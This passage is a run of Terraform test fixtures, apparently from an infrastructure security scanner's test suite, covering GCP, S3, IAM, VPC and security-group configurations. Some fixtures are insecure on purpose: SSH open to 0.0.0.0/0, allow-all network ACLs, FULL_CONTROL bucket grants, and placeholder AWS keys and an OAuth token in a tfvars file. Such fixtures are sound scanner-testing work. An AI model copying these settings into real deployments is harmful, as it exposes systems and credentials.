= "sentry-v1" network_interface { access_config { nat_ip = "34.106.48.192" network_tier = "PREMIUM" } network = "https://www.googleapis.com/compute/v1/projects/acme-project/global/networks/acme" network_ip = "10.40.0.53" subnetwork = "https://www.googleapis.com/compute/v1/projects/acme-project/regions/us-west3/subnetworks/sentry" subnetwork_project = "acme-project" } project = "acme-project" scheduling { automatic_restart = "true" on_host_maintenance = "MIGRATE" preemptible = "false" } service_account { email = "sentry-vm@acme-project.iam.gserviceaccount.com" scopes = ["https://www.googleapis.com/auth/userinfo.email", "https://www.googleapis.com/auth/logging.write", "https://www.googleapis.com/auth/monitoring.write", "https://www.googleapis.com/auth/devstorage.read_only"] } shielded_instance_config { enable_integrity_monitoring = "true" enable_secure_boot = "false" enable_vtpm = "true" } tags = ["allow-ssh", "allow-sentry"] zone = "us-west3-b" } ================================================ FILE: tests/terraform/graph/resources/variable_dependent_policy/main.tf ================================================ resource "aws_s3_bucket_acl" "example5" { bucket = aws_s3_bucket.test.id access_control_policy { grant { grantee { id = data.aws_canonical_user_id.current.id type = "CanonicalUser" } permission = "FULL_CONTROL" } grant { grantee { id = "xyz" type = "CanonicalUser" } permission = "FULL_CONTROL" } } } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/complex_var/main.tf ================================================ resource "aws_iam_policy" "test" { name = "test" description = "test" policy = jsonencode({ Version = "1970-01-01" Statement = [ { Effect = "Deny" Action = "*" Resource = "*" Condition = { MyCond = { "key" = var.ip_list } } }, ] }) } variable "ip_list" { type = list(string) default = ["0.0.0.0", "1.1.1.1"] } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_complex_keys/main.tf ================================================ locals { name = "test_local_name" namespace = "test_namespace" labels = { "app.kubernetes.io/name" = local.name "app.kubernetes.io/instance" = "hpa" "app.kubernetes.io/version" = "1.0.0" "app.kubernetes.io/managed-by" = "terraform" } } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_deep_nesting/main.tf ================================================ resource "aws_s3_bucket" "default" { server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { sse_algorithm = var.sse_algorithm kms_master_key_id = var.kms_master_key_arn } } } } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_deep_nesting/variables.tf ================================================ variable "sse_algorithm" { default = "AES256" } variable "kms_master_key_arn" { default = "" } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_dictionary_tfvars/main.tf ================================================ variable "aws" { type = object({ access_key = string, secret_key = string, region = string }) } variable "vcs_repo" { type = object({ identifier = string, branch = string, oauth_token = string }) } provider "aws" { access_key = var.aws.access_key secret_key = var.aws.secret_key region = var.aws.region } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_dictionary_tfvars/terraform.tfvars ================================================ aws = { access_key = "AKIAVAN" secret_key = "0CU4jk0" region = "us-west-2" } vcs_repo = { branch = "master" identifier = "DTherHtun/deploy-infra" oauth_token = "885efa" } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_from_module_def_sg/main.tf ================================================ module "sg2" { source = "modules\/security_group" port = 22 cidrs = ["0.0.0.0/0"] } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_from_module_def_sg/modules/security_group/main.tf ================================================ resource "aws_security_group" "sg" { name = "sg" description = "Allow TLS inbound traffic" vpc_id = "vpc-123" ingress { description = "TLS from VPC" from_port = var.port to_port = var.port protocol = "tcp" cidr_blocks = var.cidrs } egress { from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["0.0.0.0/0"] } tags = { Name = "allow_ssh" } } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_from_module_def_sg/modules/security_group/variables.tf ================================================ variable "port" { } variable "cidrs" { } variable "test" { default = 0 } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_from_module_vpc/main.tf ================================================ module "vpc" { source = "./vpc" version = "2.47.0" name = "test-vpc" cidr = "172.16.0.0/16" private_subnets = ["172.16.1.0/24", "172.16.2.0/24", "172.16.3.0/24"] public_subnets = ["172.16.4.0/24", "172.16.5.0/24", "172.16.6.0/24"] enable_nat_gateway = true single_nat_gateway = true enable_dns_hostnames = true public_subnet_tags = { "kubernetes.io/cluster/${local.cluster_name}" = "shared" "kubernetes.io/role/elb" = "1" } private_subnet_tags = { "kubernetes.io/cluster/${local.cluster_name}" = "shared" "kubernetes.io/role/internal-elb" = "1" } } locals { cluster_name = "test-eks-${random_string.suffix.result}" } data "aws_availability_zones" "available" { } resource "random_string" "suffix" { length = 8 special = false } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_from_module_vpc/vpc/variables.tf ================================================ variable "create_vpc" { description = "Controls if VPC should be created (it affects almost all resources)" type = bool default = true } variable "name" { description = "Name to be used on all the resources as identifier" default = "" } variable "cidr" { description = "The CIDR block for the VPC. Default value is a valid CIDR, but not acceptable by AWS and should be overridden" default = "0.0.0.0/0" } variable "assign_generated_ipv6_cidr_block" { description = "Requests an Amazon-provided IPv6 CIDR block with a /56 prefix length for the VPC. You cannot specify the range of IP addresses, or the size of the CIDR block" type = bool default = false } variable "secondary_cidr_blocks" { description = "List of secondary CIDR blocks to associate with the VPC to extend the IP Address pool" type = list(string) default = [] } variable "instance_tenancy" { description = "A tenancy option for instances launched into the VPC" type = string default = "default" } variable "public_subnet_suffix" { description = "Suffix to append to public subnets name" type = string default = "public" } variable "private_subnet_suffix" { description = "Suffix to append to private subnets name" type = string default = "private" } variable "intra_subnet_suffix" { description = "Suffix to append to intra subnets name" type = string default = "intra" } variable "database_subnet_suffix" { description = "Suffix to append to database subnets name" type = string default = "db" } variable "redshift_subnet_suffix" { description = "Suffix to append to redshift subnets name" type = string default = "redshift" } variable "elasticache_subnet_suffix" { description = "Suffix to append to elasticache subnets name" type = string default = "elasticache" } variable "public_subnets" { description = "A list of public subnets inside the VPC" type = list(string) default = [] } variable "private_subnets" { description = "A list of private subnets inside the VPC" type = list(string) default = [] } variable "database_subnets" { description = "A list of database subnets" type = list(string) default = [] } variable "redshift_subnets" { description = "A list of redshift subnets" type = list(string) default = [] } variable "elasticache_subnets" { description = "A list of elasticache subnets" type = list(string) default = [] } variable "intra_subnets" { description = "A list of intra subnets" type = list(string) default = [] } variable "create_database_subnet_route_table" { description = "Controls if separate route table for database should be created" type = bool default = false } variable "create_redshift_subnet_route_table" { description = "Controls if separate route table for redshift should be created" type = bool default = false } variable "enable_public_redshift" { description = "Controls if redshift should have public routing table" type = bool default = false } variable "create_elasticache_subnet_route_table" { description = "Controls if separate route table for elasticache should be created" type = bool default = false } variable "create_database_subnet_group" { description = "Controls if database subnet group should be created" type = bool default = true } variable "create_elasticache_subnet_group" { description = "Controls if elasticache subnet group should be created" type = bool default = true } variable "create_redshift_subnet_group" { description = "Controls if redshift subnet group should be created" type = bool default = true } variable "create_database_internet_gateway_route" { description = "Controls if an internet gateway route for public database access should be created" type = bool default = false } variable "create_database_nat_gateway_route" { description = "Controls if a nat gateway route should be created to give internet access to the database subnets" type = bool default = false } variable "azs" { description = "A list of availability zones in the region" type = list(string) default = [] } variable "enable_dns_hostnames" { description = "Should be true to enable DNS hostnames in the VPC" type = bool default = false } variable "enable_dns_support" { description = "Should be true to enable DNS support in the VPC" type = bool default = true } variable "enable_nat_gateway" { description = "Should be true if you want to provision NAT Gateways for each of your private networks" type = bool default = false } variable "single_nat_gateway" { description = "Should be true if you want to provision a single shared NAT Gateway across all of your private networks" type = bool default = false } variable "one_nat_gateway_per_az" { description = "Should be true if you want only one NAT Gateway per availability zone. Requires `var.azs` to be set, and the number of `public_subnets` created to be greater than or equal to the number of availability zones specified in `var.azs`." type = bool default = false } variable "reuse_nat_ips" { description = "Should be true if you don't want EIPs to be created for your NAT Gateways and will instead pass them in via the 'external_nat_ip_ids' variable" type = bool default = false } variable "external_nat_ip_ids" { description = "List of EIP IDs to be assigned to the NAT Gateways (used in combination with reuse_nat_ips)" type = list(string) default = [] } variable "enable_dynamodb_endpoint" { description = "Should be true if you want to provision a DynamoDB endpoint to the VPC" type = bool default = false } variable "enable_s3_endpoint" { description = "Should be true if you want to provision an S3 endpoint to the VPC" type = bool default = false } variable "enable_sqs_endpoint" { description = "Should be true if you want to provision an SQS endpoint to the VPC" default = false } variable "sqs_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for SQS endpoint" default = [] } variable "sqs_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for SQS endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." default = [] } variable "sqs_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for SQS endpoint" default = false } variable "enable_ssm_endpoint" { description = "Should be true if you want to provision an SSM endpoint to the VPC" type = bool default = false } variable "ssm_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for SSM endpoint" type = list(string) default = [] } variable "ssm_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for SSM endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "ssm_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for SSM endpoint" type = bool default = false } variable "enable_ssmmessages_endpoint" { description = "Should be true if you want to provision a SSMMESSAGES endpoint to the VPC" type = bool default = false } variable "enable_apigw_endpoint" { description = "Should be true if you want to provision an api gateway endpoint to the VPC" type = bool default = false } variable "apigw_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for API GW endpoint" type = list(string) default = [] } variable "apigw_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for API GW endpoint" type = bool default = false } variable "apigw_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for API GW endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "ssmmessages_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for SSMMESSAGES endpoint" type = list(string) default = [] } variable "ssmmessages_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for SSMMESSAGES endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "ssmmessages_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for SSMMESSAGES endpoint" type = bool default = false } variable "enable_ec2_endpoint" { description = "Should be true if you want to provision an EC2 endpoint to the VPC" type = bool default = false } variable "ec2_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for EC2 endpoint" type = list(string) default = [] } variable "ec2_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for EC2 endpoint" type = bool default = false } variable "ec2_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for EC2 endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "enable_ec2messages_endpoint" { description = "Should be true if you want to provision an EC2MESSAGES endpoint to the VPC" type = bool default = false } variable "ec2messages_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for EC2MESSAGES endpoint" type = list(string) default = [] } variable "ec2messages_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for EC2MESSAGES endpoint" type = bool default = false } variable "ec2messages_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for EC2MESSAGES endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "enable_ecr_api_endpoint" { description = "Should be true if you want to provision an ecr api endpoint to the VPC" type = bool default = false } variable "ecr_api_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for ECR api endpoint. If omitted, private subnets will be used." type = list(string) default = [] } variable "ecr_api_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for ECR API endpoint" type = bool default = false } variable "ecr_api_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for ECR API endpoint" type = list(string) default = [] } variable "enable_ecr_dkr_endpoint" { description = "Should be true if you want to provision an ecr dkr endpoint to the VPC" type = bool default = false } variable "ecr_dkr_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for ECR dkr endpoint. If omitted, private subnets will be used." type = list(string) default = [] } variable "ecr_dkr_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for ECR DKR endpoint" type = bool default = false } variable "ecr_dkr_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for ECR DKR endpoint" type = list(string) default = [] } variable "enable_kms_endpoint" { description = "Should be true if you want to provision a KMS endpoint to the VPC" type = bool default = false } variable "kms_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for KMS endpoint" type = list(string) default = [] } variable "kms_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for KMS endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "kms_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for KMS endpoint" type = bool default = false } variable "enable_ecs_endpoint" { description = "Should be true if you want to provision a ECS endpoint to the VPC" type = bool default = false } variable "ecs_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for ECS endpoint" type = list(string) default = [] } variable "ecs_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for ECS endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "ecs_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for ECS endpoint" type = bool default = false } variable "enable_ecs_agent_endpoint" { description = "Should be true if you want to provision a ECS Agent endpoint to the VPC" type = bool default = false } variable "ecs_agent_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for ECS Agent endpoint" type = list(string) default = [] } variable "ecs_agent_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for ECS Agent endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "ecs_agent_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for ECS Agent endpoint" type = bool default = false } variable "enable_ecs_telemetry_endpoint" { description = "Should be true if you want to provision a ECS Telemetry endpoint to the VPC" type = bool default = false } variable "ecs_telemetry_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for ECS Telemetry endpoint" type = list(string) default = [] } variable "ecs_telemetry_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for ECS Telemetry endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "ecs_telemetry_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for ECS Telemetry endpoint" type = bool default = false } variable "enable_sns_endpoint" { description = "Should be true if you want to provision a SNS endpoint to the VPC" type = bool default = false } variable "sns_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for SNS endpoint" type = list(string) default = [] } variable "sns_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for SNS endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "sns_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for SNS endpoint" type = bool default = false } variable "enable_monitoring_endpoint" { description = "Should be true if you want to provision a CloudWatch Monitoring endpoint to the VPC" type = bool default = false } variable "monitoring_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for CloudWatch Monitoring endpoint" type = list(string) default = [] } variable "monitoring_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for CloudWatch Monitoring endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "monitoring_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for CloudWatch Monitoring endpoint" type = bool default = false } variable "enable_elasticloadbalancing_endpoint" { description = "Should be true if you want to provision a Elastic Load Balancing endpoint to the VPC" type = bool default = false } variable "elasticloadbalancing_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for Elastic Load Balancing endpoint" type = list(string) default = [] } variable "elasticloadbalancing_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for Elastic Load Balancing endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "elasticloadbalancing_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for Elastic Load Balancing endpoint" type = bool default = false } variable "enable_events_endpoint" { description = "Should be true if you want to provision a CloudWatch Events endpoint to the VPC" type = bool default = false } variable "events_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for CloudWatch Events endpoint" type = list(string) default = [] } variable "events_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for CloudWatch Events endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "events_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for CloudWatch Events endpoint" type = bool default = false } variable "enable_logs_endpoint" { description = "Should be true if you want to provision a CloudWatch Logs endpoint to the VPC" type = bool default = false } variable "logs_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for CloudWatch Logs endpoint" type = list(string) default = [] } variable "logs_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for CloudWatch Logs endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "logs_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for CloudWatch Logs endpoint" type = bool default = false } variable "enable_cloudtrail_endpoint" { description = "Should be true if you want to provision a CloudTrail endpoint to the VPC" type = bool default = false } variable "cloudtrail_endpoint_security_group_ids" { description = "The ID of one or more security groups to associate with the network interface for CloudTrail endpoint" type = list(string) default = [] } variable "cloudtrail_endpoint_subnet_ids" { description = "The ID of one or more subnets in which to create a network interface for CloudTrail endpoint. Only a single subnet within an AZ is supported. If omitted, private subnets will be used." type = list(string) default = [] } variable "cloudtrail_endpoint_private_dns_enabled" { description = "Whether or not to associate a private hosted zone with the specified VPC for CloudTrail endpoint" type = bool default = false } variable "map_public_ip_on_launch" { description = "Should be false if you do not want to auto-assign public IP on launch" type = bool default = true } variable "enable_vpn_gateway" { description = "Should be true if you want to create a new VPN Gateway resource and attach it to the VPC" type = bool default = false } variable "vpn_gateway_id" { description = "ID of VPN Gateway to attach to the VPC" default = "" } variable "amazon_side_asn" { description = "The Autonomous System Number (ASN) for the Amazon side of the gateway. By default the virtual private gateway is created with the current default Amazon ASN." default = "64512" } variable "propagate_private_route_tables_vgw" { description = "Should be true if you want route table propagation" type = bool default = false } variable "propagate_public_route_tables_vgw" { description = "Should be true if you want route table propagation" type = bool default = false } variable "tags" { description = "A map of tags to add to all resources" type = map(string) default = {} } variable "vpc_tags" { description = "Additional tags for the VPC" type = map(string) default = {} } variable "igw_tags" { description = "Additional tags for the internet gateway" type = map(string) default = {} } variable "public_subnet_tags" { description = "Additional tags for the public subnets" type = map(string) default = {} } variable "private_subnet_tags" { description = "Additional tags for the private subnets" type = map(string) default = {} } variable "public_route_table_tags" { description = "Additional tags for the public route tables" type = map(string) default = {} } variable "private_route_table_tags" { description = "Additional tags for the private route tables" type = map(string) default = {} } variable "database_route_table_tags" { description = "Additional tags for the database route tables" type = map(string) default = {} } variable "redshift_route_table_tags" { description = "Additional tags for the redshift route tables" type = map(string) default = {} } variable "elasticache_route_table_tags" { description = "Additional tags for the elasticache route tables" type = map(string) default = {} } variable "intra_route_table_tags" { description = "Additional tags for the intra route tables" type = map(string) default = {} } variable "database_subnet_tags" { description = "Additional tags for the database subnets" type = map(string) default = {} } variable "database_subnet_group_tags" { description = "Additional tags for the database subnet group" type = map(string) default = {} } variable "redshift_subnet_tags" { description = "Additional tags for the redshift subnets" type = map(string) default = {} } variable "redshift_subnet_group_tags" { description = "Additional tags for the redshift subnet group" type = map(string) default = {} } variable "elasticache_subnet_tags" { description = "Additional tags for the elasticache subnets" type = map(string) default = {} } variable "intra_subnet_tags" { description = "Additional tags for the intra subnets" type = map(string) default = {} } variable "public_acl_tags" { description = "Additional tags for the public subnets network ACL" type = map(string) default = {} } variable "private_acl_tags" { description = "Additional tags for the private subnets network ACL" type = map(string) default = {} } variable "intra_acl_tags" { description = "Additional tags for the intra subnets network ACL" type = map(string) default = {} } variable "database_acl_tags" { description = "Additional tags for the database subnets network ACL" type = map(string) default = {} } variable "redshift_acl_tags" { description = "Additional tags for the redshift subnets network ACL" type = map(string) default = {} } variable "elasticache_acl_tags" { description = "Additional tags for the elasticache subnets network ACL" type = map(string) default = {} } variable "dhcp_options_tags" { description = "Additional tags for the DHCP option set (requires enable_dhcp_options set to true)" type = map(string) default = {} } variable "nat_gateway_tags" { description = "Additional tags for the NAT gateways" type = map(string) default = {} } variable "nat_eip_tags" { description = "Additional tags for the NAT EIP" type = map(string) default = {} } variable "vpn_gateway_tags" { description = "Additional tags for the VPN gateway" type = map(string) default = {} } variable "enable_dhcp_options" { description = "Should be true if you want to specify a DHCP options set with a custom domain name, DNS servers, NTP servers, netbios servers, and/or netbios server type" type = bool default = false } variable "dhcp_options_domain_name" { description = "Specifies DNS name for DHCP options set (requires enable_dhcp_options set to true)" type = string default = "" } variable "dhcp_options_domain_name_servers" { description = "Specify a list of DNS server addresses for DHCP options set, default to AWS provided (requires enable_dhcp_options set to true)" type = list(string) default = ["AmazonProvidedDNS"] } variable "dhcp_options_ntp_servers" { description = "Specify a list of NTP servers for DHCP options set (requires enable_dhcp_options set to true)" type = list(string) default = [] } variable "dhcp_options_netbios_name_servers" { description = "Specify a list of netbios servers for DHCP options set (requires enable_dhcp_options set to true)" type = list(string) default = [] } variable "dhcp_options_netbios_node_type" { description = "Specify netbios node_type for DHCP options set (requires enable_dhcp_options set to true)" type = string default = "" } variable "manage_default_vpc" { description = "Should be true to adopt and manage Default VPC" type = bool default = false } variable "default_vpc_name" { description = "Name to be used on the Default VPC" type = string default = "" } variable "default_vpc_enable_dns_support" { description = "Should be true to enable DNS support in the Default VPC" type = bool default = true } variable "default_vpc_enable_dns_hostnames" { description = "Should be true to enable DNS hostnames in the Default VPC" type = bool default = false } variable "default_vpc_enable_classiclink" { description = "Should be true to enable ClassicLink in the Default VPC" type = bool default = false } variable "default_vpc_tags" { description = "Additional tags for the Default VPC" type = map(string) default = {} } variable "manage_default_network_acl" { description = "Should be true to adopt and manage Default Network ACL" type = bool default = false } variable "default_network_acl_name" { description = "Name to be used on the Default Network ACL" type = string default = "" } variable "default_network_acl_tags" { description = "Additional tags for the Default Network ACL" type = map(string) default = {} } variable "public_dedicated_network_acl" { description = "Whether to use dedicated network ACL (not default) and custom rules for public subnets" type = bool default = false } variable "private_dedicated_network_acl" { description = "Whether to use dedicated network ACL (not default) and custom rules for private subnets" type = bool default = false } variable "intra_dedicated_network_acl" { description = "Whether to use dedicated network ACL (not default) and custom rules for intra subnets" type = bool default = false } variable "database_dedicated_network_acl" { description = "Whether to use dedicated network ACL (not default) and custom rules for database subnets" type = bool default = false } variable "redshift_dedicated_network_acl" { description = "Whether to use dedicated network ACL (not default) and custom rules for redshift subnets" type = bool default = false } variable "elasticache_dedicated_network_acl" { description = "Whether to use dedicated network ACL (not default) and custom rules for elasticache subnets" type = bool default = false } variable "default_network_acl_ingress" { description = "List of maps of ingress rules to set on the Default Network ACL" type = list(map(string)) default = [ { rule_no = 100 action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, { rule_no = 101 action = "allow" from_port = 0 to_port = 0 protocol = "-1" ipv6_cidr_block = "::/0" }, ] } variable "default_network_acl_egress" { description = "List of maps of egress rules to set on the Default Network ACL" type = list(map(string)) default = [ { rule_no = 100 action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, { rule_no = 101 action = "allow" from_port = 0 to_port = 0 protocol = "-1" ipv6_cidr_block = "::/0" }, ] } variable "public_inbound_acl_rules" { description = "Public subnets inbound network ACLs" type = list(map(string)) default = [ { rule_number = 100 rule_action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, ] } variable "public_outbound_acl_rules" { description = "Public subnets outbound network ACLs" type = list(map(string)) default = [ { rule_number = 100 rule_action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, ] } variable "private_inbound_acl_rules" { description = "Private subnets inbound network ACLs" type = list(map(string)) default = [ { rule_number = 100 rule_action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, ] } variable "private_outbound_acl_rules" { description = "Private subnets outbound network ACLs" type = list(map(string)) default = [ { rule_number = 100 rule_action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, ] } variable "intra_inbound_acl_rules" { description = "Intra subnets inbound network ACLs" type = list(map(string)) default = [ { rule_number = 100 rule_action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, ] } variable "intra_outbound_acl_rules" { description = "Intra subnets outbound network ACLs" type = list(map(string)) default = [ { rule_number = 100 rule_action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, ] } variable "database_inbound_acl_rules" { description = "Database subnets inbound network ACL rules" type = list(map(string)) default = [ { rule_number = 100 rule_action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, ] } variable "database_outbound_acl_rules" { description = "Database subnets outbound network ACL rules" type = list(map(string)) default = [ { rule_number = 100 rule_action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, ] } variable "redshift_inbound_acl_rules" { description = "Redshift subnets inbound network ACL rules" type = list(map(string)) default = [ { rule_number = 100 rule_action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, ] } variable "redshift_outbound_acl_rules" { description = "Redshift subnets outbound network ACL rules" type = list(map(string)) default = [ { rule_number = 100 rule_action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, ] } variable "elasticache_inbound_acl_rules" { description = "Elasticache subnets inbound network ACL rules" type = list(map(string)) default = [ { rule_number = 100 rule_action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, ] } variable "elasticache_outbound_acl_rules" { description = "Elasticache subnets outbound network ACL rules" type = list(map(string)) default = [ { rule_number = 100 rule_action = "allow" from_port = 0 to_port = 0 protocol = "-1" cidr_block = "0.0.0.0/0" }, ] } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_lambda/main.tf ================================================ resource "aws_lambda_permission" "test_lambda_permissions" { count = length([]) statement_id = "test_statement_id" action = var.action function_name = "my-func" principal = "dumbeldor" } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_lambda/variables.tf ================================================ variable "action" { description = "Action for the Lambda permission" type = string default = "lambda:InvokeFunction" } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_local/main.tf ================================================ locals { bucket_name = "test_bucket_name" } resource "aws_s3_bucket" "template_bucket" { region = "us-west-2" bucket = local.bucket_name acl = "acl" force_destroy = true } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_local_from_variable/main.tf ================================================ locals { bucket_name = var.var_bucket_name } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_local_from_variable/variables.tf ================================================ variable "var_bucket_name" { default = "test_bucket_name" } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_module_postgresql/auto_values.tf ================================================ # This file was generated from values defined in rules.tf using update_groups.sh. ################################### # DO NOT CHANGE THIS FILE MANUALLY ################################### variable "auto_ingress_rules" { description = "List of ingress rules to add automatically" type = list(string) default = ["postgresql-tcp"] } variable "auto_ingress_with_self" { description = "List of maps defining ingress rules with self to add automatically" type = list(map(string)) default = [{ rule = "all-all" }] } variable "auto_egress_rules" { description = "List of egress rules to add automatically" type = list(string) default = ["all-all"] } variable "auto_egress_with_self" { description = "List of maps defining egress rules with self to add automatically" type = list(map(string)) default = [] } # Computed variable "auto_computed_ingress_rules" { description = "List of ingress rules to add automatically" type = list(string) default = [] } variable "auto_computed_ingress_with_self" { description = "List of maps defining computed ingress rules with self to add automatically" type = list(map(string)) default = [] } variable "auto_computed_egress_rules" { description = "List of computed egress rules to add automatically" type = list(string) default = [] } variable "auto_computed_egress_with_self" { description = "List of maps defining computed egress rules with self to add automatically" type = list(map(string)) default = [] } # Number of computed rules variable "auto_number_of_computed_ingress_rules" { description = "Number of computed ingress rules to create by name" type = number default = 0 } variable "auto_number_of_computed_ingress_with_self" { description = "Number of computed ingress rules to create where 'self' is defined" type = number default = 0 } variable "auto_number_of_computed_egress_rules" { description = "Number of computed egress rules to create by name" type = number default = 0 } variable "auto_number_of_computed_egress_with_self" { description = "Number of computed egress rules to create where 'self' is defined" type = number default = 0 } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_module_postgresql/main.tf ================================================ module "sg" { source = "" create = var.create name = var.name use_name_prefix = var.use_name_prefix description = var.description vpc_id = var.vpc_id revoke_rules_on_delete = var.revoke_rules_on_delete tags = var.tags ########## # Ingress ########## # Rules by names - open for default CIDR ingress_rules = sort(compact(distinct(concat(var.auto_ingress_rules, var.ingress_rules, [""])))) # Open for self ingress_with_self = concat(var.auto_ingress_with_self, var.ingress_with_self) # Open to IPv4 cidr blocks ingress_with_cidr_blocks = var.ingress_with_cidr_blocks # Open to IPv6 cidr blocks ingress_with_ipv6_cidr_blocks = var.ingress_with_ipv6_cidr_blocks # Open for security group id ingress_with_source_security_group_id = var.ingress_with_source_security_group_id # Default ingress CIDR blocks ingress_cidr_blocks = var.ingress_cidr_blocks 